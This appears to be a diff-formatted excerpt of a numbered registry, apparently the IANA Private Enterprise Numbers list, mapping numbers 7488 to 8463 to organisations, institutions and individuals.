+7488 Infinitec Networks
+7489 e-HealthSign
+7490 TotalWisdom Inc.
+7491 gnumonks.org
+7492 Kommunikationsnetz Franken e.V.
+7493 ldap-abook
+7494 Rovor Technologies
+7495 Advanced Web Solutions, Inc
+7496 JB-Holding b.v.
+7497 Magnolia Broadband
+7498 Gorski.net
+7499 Pacific Century CyberWorks - Hongkong Telecom
+7500 IICS
+7501 HUBER+SUHNER BKtel GmbH (HFC)
+7502 African Medical Imaging
+7503 Henkels and McCoy
+7504 AerSoft Ltd
+7505 Calista Ltd.
+7506 Scoreline Technologies
+7507 WayneWare
+7508 Fuji Electric Co.,Ltd.
+7509 Storability, Inc.
+7510 Luxxon Corporation
+7511 wdt
+7512 NetEnS Corporation
+7513 Elimpex - Medizintechnik GesmbH.
+7514 St Helens And Knowsley Hospitals NHS Trust
+7515 P. Lancier
+7516 Andy Stubbs
+7517 Acxsys Corporation
+7518 Chicago Mercantile Exchange
+7519 RateIntegration, Inc.
+7520 Harris Corporation (formerly 'M/A-COM Private Radio Systems, Inc.')
+7521 Logicalis Australia Pty Ltd (formerly 'NetStar Networks')
+7522 Brains Corp
+7523 AccessNet
+7524 RapidSolution Software GmbH
+7525 eCal Corporation
+7526 snom technology AG
+7527 Quest Software
+7528 Metabox Inc
+7529 Netarx, Inc.
+7530 OptXCon Inc.
+7531 RapidWAN
+7532 Munat, Inc.
+7533 HONDA ELECTRON CO.,LTD
+7534 Universita' degli Studi di Genova
+7535 CapCLEAR Limited
+7536 H+H Zentrum f. Rechnerkommunikation GmbH
+7537 e2 Communications
+7538 Veriprise Wireless Company
+7539 QUACK.COM
+7540 ISPsoft
+7541 iBuilding.com
+7542 Mount Allison University
+7543 VisionShop
+7544 Wirelink Co., Ltd.
+7545 QoSBA Systems Co., Ltd.
+7546 AXXESSIT ASA
+7547 RedIRIS (formerly 'CSIC/RedIRIS')
+7548 Netcentric Systems Ltd.
+7549 DataCenterDirect.com, Inc.
+7550 Delta Data Software
+7551 Enatel
+7552 Infra Valley
+7553 Tampere University of Technology
+7554 Zlooper Media Perkasa
+7555 Institution Saint-Joseph
+7556 Movilogic S.A.
+7557 Echomine
+7558 National Air Traffic Services Ltd
+7559 Egenera, Inc
+7560 Daisy Group
+7561 Askoo SA
+7562 ICPSR (Inter-university Consortium for Political & Social Research)
+7563 OneSpot, Inc.
+7564 Clickarrray Networks, Inc.
+7565 USGS South Florida Information Access Project
+7566 CodeStream Technologies Corporation
+7567 Portera Systems
+7568 Ircam
+7569 Convedia Corporation
+7570 Brience, Inc.
+7571 SAF tehnika
+7572 Quest Software
+7573 NBC Internet
+7574 Torque Systems, Inc
+7575 Maharashtra Institute of Technology, Pune
+7576 GEA IT Services GmbH
+7577 University Of Strathclyde
+7578 Energis Deutschland
+7579 University of Freiburg
+7580 AnIX Group Limited
+7581 Advent Networks, Inc.
+7582 E-Z Data, Inc.
+7583 The Eleven
+7584 Intertrust Technologies Corporation
+7585 Genius Software Ltda
+7586 Parametric Technology Corporation
+7587 World Digitel Corporation
+7588 WIS COMMUNICATION CO. LTD
+7589 MemlinkEyal
+7590 bodachina
+7591 Divisa Informática y Telecomunicaciones S.A.
+7592 Swedish Institute of Space Physics
+7593 University of Cambridge, Clinical and Biomedical Computing Unit
+7594 Citadel LLC (formerly 'Citadel Investment Group')
+7595 RATIO Entwicklungen GmbH
+7596 Trellis Photonics
+7597 NOVA LJUBLJANSKA BANKA
+7598 KTSI
+7599 Rebel.com, Inc.
+7600 eazel
+7601 Trinity College
+7602 Covers.de
+7603 Kingfisher ICT-Services
+7604 MSE-iT
+7605 e-point S.A
+7606 The University of Alabama in Huntsville
+7607 Appgate Cybersecurity, Inc.
+7608 Celion Networks, Inc.
+7609 SpinState
+7610 Something 4 Ltd
+7611 Federal Reserve System
+7612 Digi-Data Corp
+7613 Panther Software, Inc.
+7614 Isovia
+7615 Universitat de Girona
+7616 STMICROELECTRONICS
+7617 Stendahls.net AB
+7618 Adomo, Inc.
+7619 Amon Technologies
+7620 France Teaser
+7621 DISH Network L.L.C. (formerly 'EchoStar Corporation')
+7622 Mesa Systems International
+7623 DXO Telecom Co., Ltd.
+7624 akal systems
+7625 ComCon GmbH
+7626 University of Osnabrueck
+7627 TeleBroad Networks
+7628 Reed-Matthews, Inc.
+7629 4unet
+7630 Tioga Technologies
+7631 INTERFACE CONCEPT
+7632 GNS
+7633 City University
+7634 Bungee Communications
+7635 THOMSON multimedia R&D France
+7636 Laponia Veiculos
+7637 JPM Consulting
+7638 Carrier1
+7639 Netverk S.A.
+7640 Quantum Corp.
+7641 Astronomical Society of Edinburgh
+7642 SpiderTech Software Pvt. Ltd
+7643 National Chung Cheng University
+7644 EK Großeinkauf eG
+7645 NetXL
+7646 Exemus Ltd
+7647 Oregan Networks Ltd
+7648 Nationwide Mutual Insurance Company
+7649 EverFile, Inc.
+7650 Leibniz-Rechenzentrum
+7651 UniSecurity
+7652 DataCore Software Corporation
+7653 Dashbit Incorporated
+7654 SnoNet
+7655 Sean Kelly, Independent Consultant
+7656 Bertrandt AG
+7657 DISAT SISTEMAS TELECOMUNICACIÓN
+7658 Webonomics GmbH
+7659 UESTC
+7660 Okiok Data
+7661 HumanScan GmbH
+7662 SOGETEK
+7663 Taral Networks Inc.
+7664 mezzoNET Easy Technologie S.L.
+7665 INTRIA-HP Corp
+7666 Provenco Group Ltd
+7667 Banque Nationale du Canada
+7668 Praeter Technologies, Inc.
+7669 Network Photonics, Inc.
+7670 Viator Incorporated
+7671 Invertix Corporation
+7672 Fujitsu NNC Ltd./ PBN
+7673 Fusion Communications Corp.
+7674 Northern Principle Limited
+7675 SPAR Handels AG
+7676 Strawberry Software Limited
+7677 Lynx Photonic Networks Inc.
+7678 XYRIUS
+7679 WiNag.com
+7680 Corrigent Systems Inc.
+7681 Trakonic
+7682 nCipher PLC
+7683 Air Liquide Electronics
+7684 NexTone Communications
+7685 KPMG Consulting, LLC
+7686 Pêches et Océans Canada - Garde côtière
+7687 UFSC/LabSEC
+7688 Social Change Online
+7689 rasimusi
+7690 ThruPoint, Inc.
+7691 Warp Solutions, Inc.
+7692 The Stoddard Group, Inc.
+7693 International Life Sciences Institute (ILSI)
+7694 Summit Technologies
+7695 Media Cloud, Inc.
+7696 Bach Systems, Inc.
+7697 Athabasca University
+7698 Context Media, Inc.
+7699 Syncwave Networks, Inc.
+7700 Endeavors Technology, Inc.
+7701 GemStone Systems Inc.
+7702 Keicho,Ltd.
+7703 Ecrio Inc.
+7704 Der Polizeipraesident in Berlin
+7705 Centre For Wireless Communications
+7706 JonCol.com
+7707 Proactive Technology Ltd.
+7708 WydeBand
+7709 Aristotle University of Thessaloniki
+7710 Agrilis (pty) Ltd
+7711 GNKC
+7712 SECARTIS AG
+7713 Tomorrow Technologies Marcus
+7714 EVIDIAN
+7715 EYE Communications AG
+7716 ART S.p.A.
+7717 Flying J Inc.
+7718 INA
+7719 Avilinks
+7720 W.I. Simonson Inc.
+7721 caatoosee schweiz ag
+7722 net-linx-ps-sii
+7723 Benham.net
+7724 Unassigned
+7725 Hark Tower Systems
+7726 Pointgain Corporation
+7727 CIN-NIC
+7728 3R Inc.
+7729 Telson
+7730 Voxpath Networks
+7731 HomeStore.com
+7732 philiplo
+7733 Pulsar Technologies, Inc.
+7734 ProQuent Systems Corporation
+7735 Airbiquity Inc
+7736 Jarna
+7737 Internet Photonics Inc.
+7738 Encendra Communications
+7739 DigEncP
+7740 NetMonger Communications Christopher
+7741 SNMP Technologies
+7742 Aptira Pty Ltd (formerly 'Antithesys Pty Ltd')
+7743 Salomon Smith Barney, Autralia
+7744 SPE Systemhaus GmbH
+7745 AETHRA
+7746 Watershed Consultants Ltd
+7747 Federation
+7748 GlobeCom Interactive
+7749 HICOM GmbH
+7750 Helicon Networks
+7751 mDiversity, Inc.
+7752 Bravara Communications, Inc.
+7753 ZELPOS
+7754 Infosquare Corp.
+7755 Disney Technology Solutions and Services
+7756 Netarena Communications
+7757 Tonbu Inc
+7758 E-BUSINESSNETWORK.COM
+7759 EENADU.COM
+7760 ANYSCAPE.COM
+7761 POINTGO.COM
+7762 EBIZXML.COM
+7763 POINTGAIN.NET
+7764 EBUSINESSXCHANGE.COM
+7765 SYSDYNAMICS.COM
+7766 BUSINESSACROSS.COM
+7767 EBUSINESSOPENWORLD.COM
+7768 E-BUSINESSOPENWORLD.COM
+7769 E-BUSINESSOPENWORLD.NET
+7770 EBUSINESSOPENWORLD.NET
+7771 EBUSINESSACROSS.COM
+7772 EBIZDYNAMICS.COM
+7773 E-BUSINESSDYNAMICS.COM
+7774 EBUSINESSX.COM
+7775 E-DYNAMICS.COM
+7776 E-DYNAMICS.NET
+7777 E-DYNAMICS.ORG
+7778 Excess Trade Zone, Inc.
+7779 InfoBlox Inc.
+7780 Mirametric
+7781 Conservatoire National des Arts et Metiers
+7782 Greek School Network
+7783 Riello S.p.A.
+7784 Lattis Enterprise Management Ltd
+7785 Rivne Communication Technologies Ltd.
+7786 IBCnet Ltd.
+7787 frontsite AG
+7788 Liebregts
+7789 LPM Online
+7790 Lombardia Informatica S.p.A. (formerly 'LISIT - Lombardia Integrata Servizi Infotelematici per ilTerritorio')
+7791 Conseil General de la Loire
+7792 incshopkorea
+7793 HMS
+7794 Infinity Tel-Data Inc
+7795 Custom Software Solutions
+7796 BowdenGS Technoloiges, LLC
+7797 Aculeus, Inc.
+7798 Toko Electric Co., Ltd.
+7799 The PacificRoot
+7800 Premier Network Co., Ltd
+7801 Radionet Oy
+7802 110 Limited
+7803 Terra Networks Brasil S/A
+7804 elcan Corp.
+7805 NetNation Communications Inc.
+7806 Techsar
+7807 Stoneware, Inc.
+7808 Rearden Steel Technologies, Inc.
+7809 Phil Pearl (formerly 'Finch Computer Services')
+7810 Seek Systems
+7811 40 Street Records
+7812 Pfadi Limmattal
+7813 Cogetec HSI
+7814 Infinity Tel-Data Inc.
+7815 Gilmore House Associates Ltd
+7816 Wissenschaftladen Dortmund e.V.
+7817 Chiphead Consulting, Inc.
+7818 Rohit Communications Pte. Ltd.
+7819 Opensource Consult
+7820 Configate Inc.
+7821 University of Silesia
+7822 Athena Security
+7823 Clickaction
+7824 LG Electronics Inc.
+7825 Cognizant Technology Solutions
+7826 KPNQwest Austria GmbH.
+7827 Sofadex-Puratos
+7828 Commsbloke.com
+7829 Axon Digital Design B.V.
+7830 Service Info-Techno Inc.
+7831 Dataflex Design Communications Limited
+7832 ICSA Labs
+7833 daveb.net
+7834 Wissenschaftsladen Dortmund e.V.
+7835 Hope Tranportation
+7836 Nuark Co., Ltd.
+7837 Sumtel Communications, Inc.
+7838 UTOMI AG
+7839 Telia UK Limited
+7840 Zelax
+7841 Skynet Ltd.
+7842 Université Paris 12 - Val de Marne
+7843 Callera Ltd
+7844 KGB Entertainment
+7845 Cipher
+7846 ETRALI
+7847 The Evangelical Lutheran Good Samaritan Society
+7848 Staatsbetrieb Saechsische Informatik Dienste
+7849 CommeceOne Auction Services
+7850 Penford Corporation
+7851 Software Munitions
+7852 CyberElves
+7853 Teknoids
+7854 nazit
+7855 ISI-CNR
+7856 REALTRONIC
+7857 XenoSite
+7858 Outcome Technology Associates, Inc.
+7859 NetMount
+7860 Datatone Ltd
+7861 U4EA Technologies Ltd.
+7862 Herrns PC
+7863 FreeW3, Inc.
+7864 Megadot Pty Ltd
+7865 Litnet NOC
+7866 Corinthian Engineering Pty Ltd
+7867 Mailvision
+7868 Universite de Sherbrooke
+7869 Byzantium Solutions Ltd
+7870 Polska Platforma Internetowa
+7871 NICsys GbR
+7872 Arrista Technologies
+7873 Info-Onscreen Software Systems Pty. Ltd.
+7874 Highland Injection Molding Inc.
+7875 Shibaura Institute of Technology , Science Information Center
+7876 Statens vegvesen
+7877 Basefarm AS
+7878 The University of the South Pacific
+7879 T-TeleSec
+7880 Peco II Inc.
+7881 Cognitas Technologies, Inc.
+7882 City of Prescott IT Department
+7883 amirk.com
+7884 Francis W. Parker School
+7885 Arek Dreyer
+7886 K Application
+7887 nCUBE, Corp.
+7888 Iamba Technologies Ltd.
+7889 Lingnan University
+7890 Arrow Electronics, Inc.
+7891 Confederation of Norwegian Business and Industry
+7892 Lannert.de
+7893 Yacom Internet Factory S.A
+7894 VanCo.net s.r.o.
+7895 Amethon Solutions
+7896 Rietumu Banka
+7897 Knowledge Base BV
+7898 Openet Telecom Ltd.
+7899 Cap Gemini, portugal
+7900 Neuberger & Hughes GmbH
+7901 Capiro
+7902 alberta wellnet
+7903 EcoProg Ltd.
+7904 Greenwich Capital Markets
+7905 National Training Institute, Inc.
+7906 Brainworkers Srl
+7907 Alliance Race Car Builders
+7908 TelSoft Solutions, Inc
+7909 American Communication Technologies International, Inc.
+7910 CSTS, Inc.
+7911 Dreamintek Co.,Ltd
+7912 Staffware PLC
+7913 Space Hellas S.A.
+7914 qmail-ldap project
+7915 Cetevo AB
+7916 PAGE
+7917 Area de Ciencias de la Computación e Inteligencia Artificial
+7918 Electrosonic Ltd
+7919 Spyn Inc.
+7920 National Education Association of the United States
+7921 AethyrNet Soluitions
+7922 Spiro Kommunikation
+7923 OrgaNet GmbH
+7924 Bundesamt fuer Sicherheit in der Informationstechnik
+7925 SPECS GmbH Surface Analysis and Computer Technology
+7926 University of Antwerp
+7927 Splendid Internet GmbH
+7928 Wysdom Inc.
+7929 HBOS plc
+7930 Telecom Argentina
+7931 SMCC
+7932 AmeriNet, Incorporated
+7933 Promise Technology Inc.
+7934 Shanghai JiaoTong University
+7935 IVT
+7936 YANGJAE MICRO
+7937 inPACT technologies
+7938 IEE
+7939 Liscon GmbH
+7940 Celeritas
+7941 Tecnica 6000 S.L.
+7942 Xtempus
+7943 Home Wireless Networks, Inc.
+7944 PennyLan
+7945 UMB Bank, n.a.
+7946 FlashPoint Technology, Inc.
+7947 MSP Technolgies
+7948 DASIR ENTERPRISES
+7949 Broadcloud Communications, Inc.
+7950 Overture Networks
+7951 CNCTC
+7952 Too Corporation
+7953 Majitek
+7954 Siemens Business Services AS
+7955 Alfaskop AB
+7956 Initio IT-løsninger AS
+7957 Lares Technology
+7958 Efficient Channel Coding, Inc.
+7959 Gabriel Roman
+7960 FreeRein
+7961 Harry L. Styron, Attorney at Law
+7962 Not Another Corporation, Inc.
+7963 Tebie
+7964 Master Comunicacao e Marketing Ltda. Cass
+7965 Ingenieurbuero Tartsch
+7966 SPY internetworking
+7967 serveroperator.com (formerly 'Tekbabble')
+7968 Spearhead Technologies Ltd.
+7969 BeComm
+7970 Athelon Corporation
+7971 Tølveguten Lars Bahner
+7972 XingTang Communication Technology Co.,Ltd.
+7973 TELEFONICA DE ESPAÑA
+7974 TURBOMECA
+7975 Ark e-Management Ltd.
+7976 Brotsman & Dreger, Inc.
+7977 VidSoft GmbH
+7978 France Telecom Hosting
+7979 Storigen Systems
+7980 Sistemas y Aplicaciones de Telecomunicaciones S.A.Jose Luis
+7981 Interbind
+7982 The Simon Shapiro Foundation
+7983 HPEB (Health technology Planning & Evaluation Board)
+7984 Ticket Master/CitySearch Corp.
+7985 University of Catania
+7986 ip.access
+7987 Universite de Pau et des Pays de l'Adour
+7988 Université Nancy 2
+7989 IMAG
+7990 EOI Technologies, Inc.
+7991 eLaw.com Inc
+7992 PRFD
+7993 Factorit S.p.A
+7994 Continuous Computing Corp.
+7995 Snell & Wilcox Ltd
+7996 Electric Power Research Institute(EPRI)
+7997 Ball Corporation
+7998 MailFriday
+7999 TP Internet
+8000 Ipace Inc.
+8001 Qitek
+8002 Metamerge AS
+8003 Swisscom IP-Plus
+8004 MID GmbH
+8005 Physics Department, Queen Mary, University of London
+8006 EINSTEINet GmbH
+8007 threllis GmbH
+8008 Pactolus Communication Software, Inc.
+8009 iSecuritas
+8010 ExaNet
+8011 McKee Foods Corporation
+8012 Hyperdrive Sistemas Ltda
+8013 Nextlevel.com Internet Productions Inc.
+8014 Stonefly, Inc
+8015 Airocon
+8016 Ravensbourne College of Design & Communication
+8017 Primus Canada
+8018 Hogeschool van Arnhem en Nijmegen
+8019 The Stellar Ice Company
+8020 Ecole Normale Supérieure de Lyon
+8021 G. A. Enterprises
+8022 Senets Broadband, Inc.
+8023 InfoCruiser Inc.
+8024 QuoVadis Limited
+8025 Friendlyworks
+8026 Rockbrook Systems Group
+8027 binHOST.com, Inc.
+8028 cast
+8029 DCTC
+8030 Prakash Cotton Mills Ltd.
+8031 University Library of Kassel, Germany
+8032 Agenda d.o.o.
+8033 Almende
+8034 Rohill Technologies B.V.
+8035 RY Enterprises
+8036 USA.NET
+8037 COLOMAR Group, Inc
+8038 HomeBase Work Solutions
+8039 silly-ants
+8040 Thunder Systems, Inc.
+8041 Hostway Corporation
+8042 eCELL Technologies, Inc.
+8043 ProActiveMonitoring, Inc.
+8044 M.J. DuChene & Associates
+8045 Glen Lewis
+8046 Utah Java User Group
+8047 OSEDU
+8048 Avatar Internet Services
+8049 NetAccess, Inc.
+8050 RISS-Telecom
+8051 Michael McCafferty
+8052 TesserNet Systems Inc.
+8053 Islington ave.
+8054 The Scan Shop Pty. Ltd.
+8055 Optilink Technologies Company Limited
+8056 SHENYANG NEU-ALPINE SOFTWARE CO.,LTD.
+8057 CESNET
+8058 MessageVine
+8059 Net To Net Technologies
+8060 Armstrong Atlantic State University
+8061 Multipoint Communications Ltd
+8062 ColorMax Interactive
+8063 M@innet Communication Ltd.
+8064 Global Technology Solutions
+8065 Uni-Ter Underwriting Management Corporation
+8066 WatchMark Corporation
+8067 MCI
+8068 Buffalo Rock Company
+8069 Rozz Enterprises
+8070 ZeroHype Technologies, Inc.
+8071 Sandstorm Enterprises, Inc.
+8072 net-snmp
+8073 Lumos Technologies Inc
+8074 Box Solutions Corporation
+8075 Lateral Concepts and Designs
+8076 Siemens PSE Austria
+8077 ChamberSign France
+8078 INU Consultancy
+8079 ensoport.com
+8080 Fastweb S.p.A.
+8081 Magnum Solutions Ltd
+8082 SEPATON, Inc.
+8083 Packet Design
+8084 tangali.eu.org
+8085 IronStream Inc
+8086 NUASIS Corporation
+8087 TierNext
+8088 DCSI
+8089 Covad Communications
+8090 Enterprise Computing Services
+8091 IP Soft, Inc.
+8092 Elgo Maribor d.o.o.
+8093 Aliroo Ltd.
+8094 DreamArts Corp.
+8095 INELCOM Ingeniería Electrónica Comercial S.A
+8096 The Voice Technology Forum
+8097 Servicom 2000, S. L.
+8098 Morat Games Ltd
+8099 Alex Wilson Coldstream Ltd
+8100 Softricity, Inc.
+8101 Zambeel, Inc.
+8102 Mark Morgan Enterprises
+8103 Winstechnet Co.,Ltd
+8104 Sun Microsystems Professional Services
+8105 Appilog
+8106 LUXMATE Controls GmbH
+8107 Kabira
+8108 VHI
+8109 Price Express
+8110 Message Central plc.
+8111 Pacific Trade & Technology
+8112 Green Shield Canada
+8113 Bellanet International Secretariat
+8114 Naval Operational Logisitics Support Center
+8115 Birch Telecom
+8116 Danware Data A/S
+8117 NAFEM (North American Association of Food Equipment Manufacturers)
+8118 Capitol Systems Corporation
+8119 Mission Valley Regional Occupational Program David
+8120 Transvirtual Technologies, Inc.
+8121 Ridgeway Systems & Software Ltd.
+8122 KB Impuls Service GmbH
+8123 Kompetenznetz Maligne Lymphome
+8124 Carrefour
+8125 Internet Services
+8126 My Docs Online, Inc
+8127 Effinity Labs
+8128 Boco
+8129 JadeBird HuaGuang Ltd Co.
+8130 Heimann Biometric Systems GmbH
+8131 Glory Telecom. Co.,Ltd.
+8132 Nasik Welding Products Pvt.Ltd
+8133 FSSC-London
+8134 Insitel S.A.
+8135 Andong National University
+8136 Centrul de Pregatire in Informatica
+8137 Palisade Systems
+8138 De Roeck Software Engineering BVBA
+8139 Aaxion Software Corporation
+8140 C2 Technologies, Inc.
+8141 Kashpureff Boling Laboratories, Inc.
+8142 HCA The Healthcare Company
+8143 ICTV
+8144 Fiberxon (China) Corp., Ltd
+8145 University of Salzburg
+8146 Snakegully
+8147 Mercury Telecommunications
+8148 Niragongo Technologies Ltd.
+8149 Generalitat Valenciana
+8150 SECARON AG
+8151 Worldweb.net
+8152 Visto Corporation
+8153 jGuild Internation ltd
+8154 Riser Management Systems
+8155 Transcept, Inc.
+8156 AgencyWorks
+8157 SynCom Network, Inc.
+8158 MSP-LUB
+8159 SHIN SATELLITE PUBLIC COMPANY LIMITED. Pho
+8160 Digital Platform Support Services
+8161 Star Home GMBH
+8162 DEXIA
+8163 Double D Electronics Ltd
+8164 Starent Networks
+8165 boutemy.com
+8166 Viag Interkom
+8167 Transversal
+8168 Nectar.com
+8169 Carroll Lutheran Village
+8170 Monitor Group
+8171 Oni Solutions
+8172 Johns Hopkins University, MSEL-LCS
+8173 INDRA Sistemas
+8174 Netburner
+8175 Carrier9 Networks
+8176 AstroDesign,Inc.
+8177 HCL Communications
+8178 Just Innovative Software GmbH
+8179 Communications Laboratories Telekommunikations Dienstleistungs-Ges.m.b.H.
+8180 Spirea
+8181 Commarco GmbH (formerly 'Scholz & Friends Dresden GmbH')
+8182 The Boston Bit Co
+8183 NetSource America Inc.
+8184 Inspira S.L.
+8185 Online Creation, Inc.
+8186 California Institute of Technology
+8187 Sharinga Networks Inc.
+8188 AXA Technology Services Switzerland AG (formerly 'Winterthur Versicherungen')
+8189 Gerichhausen, Adomeit & Terstappen GmbH
+8190 3M Deutschland GmbH (formerly 'Quante')
+8191 glutam.at
+8192 Symbiont Networks, Inc.
+8193 Telemetry Technologies
+8194 Targetnet.com Inc.
+8195 Effinity Net, LC
+8196 Teldar Corporation
+8197 LearningSoft Corp.
+8198 eBuilt, Inc.
+8199 Instituto Tecnológico Autónomo de México
+8200 UNNATI COMPUTERS
+8201 XCelaron Pty Ltd
+8202 Toro Assicurazioni S.p.A.
+8203 LPG Innovations
+8204 Cymtec Systems, Inc.
+8205 Unassigned
+8206 Centro Regional de Investigaciones Basicas y Aplicadas de Bahia-Blanca
+8207 Integratus, Inc.
+8208 Best Western International
+8209 Informio
+8210 Centegy
+8211 ShenZhen TCL Communication Technology Co.,Ltd.
+8212 Harbour Networks Co.
+8213 Faculty of Medicine, University of Sydney
+8214 Atomica
+8215 Authentified
+8216 Cyzen Tech.,Co.LTD
+8217 SLAonline.com Ltd
+8218 EC - Erdoelchemie GmbH
+8219 Ecomda
+8220 TCL Holdings Co., Ltd.
+8221 BAE SYSTEMS, Integrated Defense Solutions
+8222 Matthew White
+8223 Atlas Commerce
+8224 LeasedMinds
+8225 Open Connect AG
+8226 GigaNews.com, Inc.
+8227 CyberObject Corp
+8228 Jalan Network Services, Inc.
+8229 Phil Systems
+8230 RING! ROSA Products Bv
+8231 Lineo
+8232 Technische Hochschule Mittelhessen (formerly 'Fachhochschule Giessen-Friedberg')
+8233 iBasis, Inc.
+8234 ECET International
+8235 CENIT AG
+8236 White Horse Interactive
+8237 NCC GmbH
+8238 Lutheran Brotherhood
+8239 Peribit Networks
+8240 Path 1
+8241 Securant Technologies
+8242 Security Portal, Inc
+8243 iPass, Inc.
+8244 Brocade Communications Systems, Inc. (formerly 'McDATA Corp.')
+8245 Vsovt Ltd.
+8246 Cistron Internet Services
+8247 University of Rostock
+8248 Turin Networks Inc
+8249 Verein für Computergenealogie e.V.
+8250 Shire.Net LLC
+8251 IIGA Co.,Ltd.
+8252 Digital Strategies, Inc.
+8253 AWOLart.com
+8254 Aleph-Null, Inc.
+8255 Tejas Networks
+8256 Solution - The Computer People eK
+8257 Southern Ural State University
+8258 kuk-Systemprogrammierung
+8259 Banco de Sabadell, S.A.
+8260 Intrexa Corp
+8261 MediaCast
+8262 Wavion
+8263 Jamby BV
+8264 Recreativos Franco, S.A.
+8265 Entrada Networks, Inc.
+8266 Intelnet S.A.
+8267 Arula Systems
+8268 Mark Tippetts
+8269 CJSC Malva
+8270 MJL Technology
+8271 Fachhochschule Vorarlberg
+8272 Nameplanet Ltd.
+8273 Standard Communications
+8274 Interadnet
+8275 INSA Toulouse
+8276 Mpathix
+8277 PSC-ITSolutions.NET
+8278 St. Elisabeth GmbH
+8279 f3pu5.net
+8280 Fiver LightCom Co., Ltd.
+8281 Movelife
+8282 BAE Systems Defence Pty Ltd (formerly 'Tenix Defence Systems - Systems Adelaide')
+8283 TSMT - Magic Touch Ltd
+8284 ACTL
+8285 FlexLight
+8286 Incirco
+8287 Klinikum der Johannes Gutenberg-Universität Mainz
+8288 Jung von Matt Werbeagentur GmbH
+8289 Universita' degli Studi di Napoli "Federico II"
+8290 Certus Technology, Inc.
+8291 DigiStamp, Inc.
+8292 Mt. Holyoke College
+8293 Bang Networks, Inc.
+8294 infoman
+8295 BWA
+8296 Dialogos3 s.r.l.
+8297 IrisOnLine.com BV
+8298 v/h Nictoglobe
+8299 secunet Security Networks AG
+8300 State of Wisconsin - Network Access Management
+8301 Technische Universitaet Darmstadt
+8302 EdeNET Communications, Inc.
+8303 Gelco Information Network
+8304 Atomic Blue Bear
+8305 OARnet
+8306 Go Local Consulting, Inc.
+8307 tecnetdev
+8308 GTran Inc.
+8309 Virtela Communications
+8310 Trak Systems
+8311 Police Information Technology Organization
+8312 OskolNET JSC
+8313 JARDiX AG
+8314 AVL Emission Test Systems GmbH (formerly 'PEUS Systems GmbH')
+8315 Minacom Labs Inc.
+8316 Staffwell
+8317 FiberCycle Networks
+8318 Twisted Pair Solutions, Inc.
+8319 Blue Wave Systems
+8320 Vonova Corporation
+8321 Entidad Acreditadora Ley 19.799 - Gobierno de Chile
+8322 Education Networks of America
+8323 Gemteq Software
+8324 The University of Western Australia
+8325 Wanadoo Spain
+8326 Unreal Technology spol. s r.o.
+8327 IUFM Reims
+8328 GyD Iberica
+8329 iPromoGroup Ltd.
+8330 Omnexus N.V., Amsterdam, Wädenswil Branch
+8331 Matti Valtuustoon
+8332 université d'Evry Val d'Essonne
+8333 GROW.co,.Ltd
+8334 dynamicsoft Inc.
+8335 Université des Sciences Sociales de Toulouse
+8336 Superior Consultant Holdings Corporation
+8337 Hybricon Corp.
+8338 Phonetics, Inc.
+8339 Young & Laramore
+8340 Image Computing Incorporated
+8341 Utility Data Systems, Inc.
+8342 NTRU Cryptosystems
+8343 NEXTRA Czech Republic s.r.o.
+8344 Apparate Networks
+8345 Health Net, Inc.
+8346 Université de Limoges - S.C.I. - Laine Jean
+8347 TechnoCage, Inc
+8348 Data Avenue, Inc.
+8349 ConnectScape, Inc.
+8350 T-Systems Hungary Kft.
+8351 I-Land Internet Services
+8352 Pronym S.A.R.L.
+8353 Excelsior Systems Limited
+8354 GIB
+8355 sarfata's net
+8356 Visual Revolutions
+8357 Mangosoft Corporation
+8358 TELOS Technology Inc.
+8359 IP blue
+8360 Mirant Corporation
+8361 Portail des IUFM
+8362 mSAFE
+8363 Store-O-Matic, Inc.
+8364 Lichen Hosting
+8365 Advanced Information Management Solutions Pty Ltd
+8366 Fiberlink Communications Corp
+8367 NationNet.Com
+8368 ServerWerks Inc
+8369 NTIkorea
+8370 NextSet
+8371 AGENDA
+8372 University of Sussex
+8373 SEAL Systems AG & Co. KG
+8374 DVZ Datenverarbeitungszentrum Mecklenburg-Vorpommern
+8375 Outercurve Technologies
+8376 Université de Bourgogne
+8377 ReefEdge, Inc.
+8378 Texas Memory Systems
+8379 BroadRiver Communications
+8380 Mentum Group
+8381 Certainty Solutions, Inc.
+8382 C&C Engineering, Inc.
+8383 SigmaSoft, Inc.
+8384 eBay, Inc.
+8385 ENSAM CER de Metz
+8386 LION bioscience AG
+8387 Globe Internet s.r.o.
+8388 Techniker Krankenkasse
+8389 Ergon Informatik
+8390 Mettler Toledo
+8391 Bicman Netologies
+8392 XMission
+8393 GIMAS mbH
+8394 Privador AS
+8395 Tulane University
+8396 virtual earth Gesellschaft für Wissens re/prä sentation mbH
+8397 Vecerina
+8398 University of West Florida
+8399 iVEA Technologies
+8400 Evercom Systems, Inc.
+8401 FoxTravel
+8402 ePlus, Inc.
+8403 ARA Network Technologies, Co, Ltd.
+8404 Akamba Corporation
+8405 Tohono Consulting
+8406 Morningstar Systems, Inc.
+8407 MyBau.Com
+8408 InterComponentWare AG
+8409 ztevision
+8410 Landis & Gyr Communications SAS
+8411 e-Qual
+8412 Satyam Computer Services ltd
+8413 GlobalNaps
+8414 Cedacri S.p.A.
+8415 CyberElan LLC
+8416 Shaw Cablesystems, G.P.
+8417 StorageApps, Inc.
+8418 listless ennui
+8419 Rockwell Collins
+8420 Digi-Sign Certification Services Limited
+8421 VODTEL COMMUNICATIONS Inc.
+8422 Libritas, Inc
+8423 twisd AG
+8424 ICUBE SRL
+8425 AP Engines, Inc.
+8426 Watlow
+8427 Worldgate Networks Private Limited
+8428 Turtle Entertainment GmbH
+8429 2NETFX (Media Now, Inc.DBA 2NETFX)
+8430 TranSwitch Corporation
+8431 Broadcasting Interest Enterprise, Inc.Christopher
+8432 TeraGlobal Communications
+8433 3e Technologies International Inc.
+8434 Fox Chase Cancer Center
+8435 HyperEdge Inc.
+8436 Requisite Technology
+8437 Bolder Internet Group, Inc.
+8438 ReFlex Communications, Inc.
+8439 CADRE Design
+8440 Tsuda College
+8441 ShangHai WaiGaoQiao Free Trade Zone network development Co.,Ltd
+8442 Sendtek Corporation
+8443 Telisma
+8444 IIE (Institut d'Informatique d'Entreprise)
+8445 Bilstone Ltd
+8446 Barclaycard
+8447 Riverglade Consultants Ltd
+8448 Avantis GmbH
+8449 ePUREDATA Inc.
+8450 Cetacean Networks
+8451 Petri Laitinen
+8452 Guernsey.Net Ltd.
+8453 npw.net
+8454 Donald E Reynolds
+8455 Old Donkey Enterprises
+8456 OPTIBASE
+8457 Deepend Prague
+8458 ZOOM Networks Inc.
+8459 Shandong WeiFang Beida JadeBird Inc.
+8460 University of Illinois at Chicago
+8461 UFO Solutions Limited
+8462 Sonic.Net, Inc.
+8463 PEM Electronics
